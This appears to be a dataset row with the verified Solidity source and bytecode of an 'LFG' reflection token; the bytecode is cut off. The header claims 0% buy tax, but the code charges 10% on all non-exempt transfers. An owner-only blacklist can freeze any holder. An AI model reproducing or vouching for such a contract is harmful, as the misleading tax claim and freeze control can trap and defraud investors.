address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xa08e1564a18f2d72322b634d1e522fc8f7f763bf
|
/**
*Submitted for verification at Etherscan.io on 2021-11-04
*/
/**
*
*/
/**
* LFG has not its token ! LFG !!!
* Website http://www.lfgeth.co
* Join our Telegram Group: https://t.me/LFGETH
* Tax is 0% on buys and 10% on sells only: 1% reflections, 5% marketing & 4% developement
* Bots will be blacklisted
*
*
*/
/**
*/
/**
*
*/
/**
*
*/
/**
*
*/
/**
*/
/**
*
*/
/**
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LFG is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "LFG";
string private constant _symbol = "LFG";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 1;
_teamFee = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 1;
_teamFee = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600381526020017f4c46470000000000000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4c46470000000000000000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a295be96e640669720000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6001600a819055506009600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576001600a819055506009600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b600